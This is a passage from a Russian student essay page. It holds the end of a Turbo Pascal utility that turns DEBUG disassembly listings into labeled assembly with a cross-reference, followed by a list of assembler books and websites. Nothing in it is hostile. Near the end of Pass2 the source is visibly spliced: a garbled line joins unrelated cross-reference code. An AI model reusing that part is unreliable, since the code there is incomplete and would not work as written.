end (* [,] *)

end (* length = 6 *)

end;

begin (* Pass 1 *)

gotoXY(1,25); Write('Pass 1 , Line ');

LineCount := 0;

while NOT EOF(f_in) do begin

readln(f_in, Line);

LineCount := succ(LineCount);

if (LineCount and $000F) = 0 then begin

gotoXY(16,25);

write(LineCount:3)

end;

ParseLine(ParsedLine);

with ParsedLine do begin

(****

gotoxy(12,wherey);writeln(offset,'|','|',opcode,'|',

operand1,'|',operand2,'|');

****)

Val ( '$'+Offset, _Offset, Status);

if Status = 0 then begin

Status := -1;

(* check for opcodes with CODE_LABEL operands *)

case OpCode[1] of

'J': begin

Val ( '$'+Operand1, _Label, Status);

if Status <> 0 then begin

if (OpCode = 'JMP') AND (TypeOverride=None) then

TypeOverride := N; (* try indirect NEAR jump *)

end

end;

'C': if OpCode = 'CALL' then begin

Val ( '$'+Operand1, _Label, Status);

if (Status <> 0) AND (Operand1[5]=':') then begin

Val('$'+Copy(Operand1, 6, 4), _Label, Status);

if Status = 0 then StoreReference (_Offset, _Label, F,

1);

Status := -1;

end

end;

'L': if (OpCode = 'LOOP') OR

(OpCode = 'LOOPZ') OR (OpCode = 'LOOPNZ')

then Val ( '$'+Operand1, _Label, Status);

'P': if OpCode = 'PUSH' then TypeOverride := W

else if OpCode = 'POP' then TypeOverride := W;

end (* case *);

if Status = 0 then begin (* valid near label *)

StoreReference (_Offset, _Label, N, 1)

end;

MemoryOperand(Operand1, Operand2, 1, TypeOverride);

MemoryOperand(Operand2, Operand1, 2, TypeOverride);

end (* valid offset *)

end (* with ParsedLine *)

end (* while *);

gotoXY(16,25); write(LineCount:3);

end (* Pass 1 *);

procedure Pass2;

type

PrefixTypes = (NoPrefix, REP, REPZ, REPNZ, LOCK, CS, DS, ES, SS);

var

k, _Offset,

NextOffset,

NextRef,

Status : INTEGER;

Prefix : PrefixTypes;

ASMLine : STR80;

function TestPrefix: BOOLEAN;

var

HexByte, Status: INTEGER;

begin

case ParsedLine.OpCode[3] of (* test for prefix opcodes *)

':', 'P', 'C' : begin

Val('$'+ParsedLine.HexCode, HexByte, Status);

case HexByte of

$2E: begin Prefix := CS; TestPrefix := true end;

$26: begin Prefix := ES; TestPrefix := true end;

$3E: begin Prefix := DS; TestPrefix := true end;

$36: begin Prefix := SS; TestPrefix := true end;

$F2: begin Prefix := REPNZ; TestPrefix := true end;

$F3: begin Prefix := REPZ; TestPrefix := true end;

$F0: begin Prefix := LOCK; TestPrefix := true end;

else TestPrefix := false

end

end

else TestPrefix := false

end;

end;

begin (* Pass 2 *)

gotoXY(1,25); Write('Pass 2 , Line ');

NextOffset := 0;

NextRef := 0;

Prefix := NoPrefix;

LineCount := 0;

while NOT EOF(f_in) do begin

readln(f_in, Line);

LineCount := succ(LineCount);

if (LineCount and $000F) = 0 then begin

gotoXY(16,25);

write(LineCount:3)

end;

ParseLine(ParsedLine);

if NOT TestPrefix then begin

with ParsedLine do begin

if (Prefix = REPZ) OR (Prefix = REPNZ) then begin

if (Opcode[1] IN ['M', 'L', 'S']) AND (Ord(OpCode[0])<>0) then

Prefix := REP

end;

Val ( '$'+Offset, _Offset, Status);

if Status = 0 then begin

if _Offset = SymbolTable[NextOffset].offset then begin

case SymbolTable[NextOffset].reftype of

N: begin

Move(Operand1[1], Operand1[3], 4);

Operand1[0] := succ(succ(Operand1[0]));

Operand1[1] := 'L';

Operand1[2] := '_';

end;

B,W,D: begin

if SymbolTable[NextOffset].position = 1 then begin

Operand1[1] := 'V';

Operand1[6] := '_';

end else begin

Operand2[1] := 'V';

Operand2[6] := '_';

end

end;

end;

NextOffset := succ(NextOffset);

end;

while AuxTable[NextRef].reference < _Offset do

NextRef := succ(NextRef);

while _Offset = AuxTable[NextRef].reference do begin

case AuxTable[NextRef].reftype of

N: begin

Writeln(f_out, ' L_'+ Offset+':');

end;

B: begin

Writeln(f_out, ' V_'+ Offset+tab+'DB', tab, '?');

end;

W: begin

Writeln(f_out, ' V_'+ Offset+tab+'DW', tab, '?');

end;

D: begin

Writeln(f_out, ' V_'+ Offset+tab+'DD', tab, '?');

end;

end;

repeat NextRef:=succ(NextRef)

until (AuxTable[NextRef].reftype <> AuxTable[NextRef-1].reftype)

OR

(_Offset <> AuxTable[NextRef].reference) OR

(NextRef >= Symbol_Table_Length);

end;

if Offset[0] <> Chr(0) then begin

write(f_out, tab, tab);

case Prefix of

REP: begin

write(f_out, 'REP ');

Prefix := NoPrefix

end;

REPZ: begin

write(f_out, 'REPZ ');

Prefix := NoPrefix

end;

REPNZ:begin

write(f_out, 'REPNZ ');

Prefix := NoPrefix

end;

LOCK: begin

write(f_out, 'LOCK ');

Prefix := NoPrefix

end;

end;

write(f_out, OpCode, tab);

if Ord(Operand1[0]) > 2 then begin

case TypeOverride of

None: ;

B : write(f_out, 'BYTE PTR ');

W : write(f_out, 'WORD PTR ');

D : write(f_out, 'DWORD PTR ');

F : write(f_out, 'FAR PTR ');

end;

case Prefix of

NoPrefix: ;

CS: begin write(f_out, 'CS:'); Prefix := NoPrefix end;

ES: begin write(f_out, 'ES:'); Prefix := NoPrefix end;

SS: begin write(f_out, 'SS:'); Prefix := NoPrefix end;

DS: begin write(f_out, 'DS:'); Prefix := NoPrefix end;

end;

end;

write(f_out, Operand1);

if Operand2[0]<>Chr(0) then begin

write(f_out, ', ');

if Ord(Operand2[0]) > 2 then begin

case TypeOverride of

None: ;

B : write(f_out, 'BYTE PTR ');

W : write(f_out, 'WORD PTR ');

D : write(f_out, 'DWORD PTR ');

F : write(f_out, 'FAR PTR ');

end;

case Prefix of

NoPrefix: ;

CS: begin write(f_out, 'CS:'); Prefix := NoPrefix end;

ES: begin write(f_out, 'ES:'); Prefix := NoPrefix end;

SS: begin write(f_out, 'SS:'); Prefix := NoPrefix end;

DS: begin write(f_out, 'DS:'); Prefix := NoPrefix end;

end;

end;

write(f_out, Operand2);

end

else write(f_out, tab);

end;

if Comment N then begin

HexString(RefStr, AuxTable[CharPos].offset);

if k = 5 then begin

k:=0;

writeln(f_out);

write(f_out, tab,tab,tab,tab, '; R_', RefStr)

end

else write(f_out, ' ,R_', RefStr);

k := succ(k)

end;

CharPos:= succ(CharPos)

end;

if reftype <> N then writeln(f_out);

end;

end;

writeln(f_out);

end;

begin

rep[none]:='NONE';

rep[B]:='BYTE';rep[W]:='WORD';rep[D]:='DWORD';

rep[N]:='NEAR';rep[F]:='FAR';

Current_SymbolTable_Index:= 0;

write('Enter filename: '); readln(FileName);

FileExt := false;

for CharPos:=1 to Length(FileName) do FileExt := FileName[CharPos] = '.';

if FileExt then assign(f_in, FileName)

else assign(f_in, FileName+'.DEB');

(* start pass 1 *)

reset(f_in);

Pass1;

Symbol_Table_Length := Current_SymbolTable_Index;

Current_SymbolTable_Index := 0;

Writeln;

Writeln(Symbol_Table_Length, ' symbols');

(* Sort symboltable *)

SortInputIndex := 0;

SortOutputIndex := 0;

Writeln('Sorting symboltable ...');

SortStatus := TurboSort(SizeOf(TableEntry));

if SortStatus <> 0 then writeln('Error ', SortStatus:2, ' during

sorting');

if FileExt then begin

CharPos:= 1;

while FileName[CharPos] <> '.' do CharPos:= succ(CharPos);

FileName := copy(FileName, 1, pred(CharPos));

end;

assign(f_out, FileName+'.DBO');

rewrite(f_out);

Writeln('Writing cross-reference');

CrossRefList;

(* start pass 2 *)

reset(f_in);

Pass2;

close(f_out);

close(f_in)

end.

-------------------- end --------------

Литература.

Питер Абель «АССЕМБЛЕР И ПРОГРАММИРОВАНИЕ ДЛЯ IBM PC».

Технологический институт Британская Колумбия.

2. В.И.Юров «Assembler (практикум и пособие)». Изд. Питер.

Москва.2002.

3. А.А. Абдукодиров «IBM PC АССЕМБЛЕРИДА ПРОГРАММАЛАШ

АСОСЛАРИ» Университет 1998.

4. Р.Браун. «Справочник по прерываниям IBM PC» Москва,

издательство "Мир", 1994.

5. Р.Джордейн «Справочник программиста персональных компьютеров

типа IBM PC, XT и AT». Москва, "Фин. и статистика" 1992.

6. И.В.Юров «Справочная система по языку ассемблера IBM PC». СПВУРЭ

ПВО. 2000.

7. Интернет сайты:

www.ilf.net

home1.gte.net/rdhaar/hotbox/

www.agate.net/~krees/

www.cdc.net/~x/

www.chibacity.com/chiba/

www.conexis.es/~amasso/

www.virewall.narod.ru/vir.html

www.etu.net.ru

www.ruler.h1.ru/asm/abel/

www.google.com/search/asm

www.hangup.da.ru/

www.home.pages.at/rolik/

www.bib.ru

Страницы: 1, 2, 3


© 2010 Современные рефераты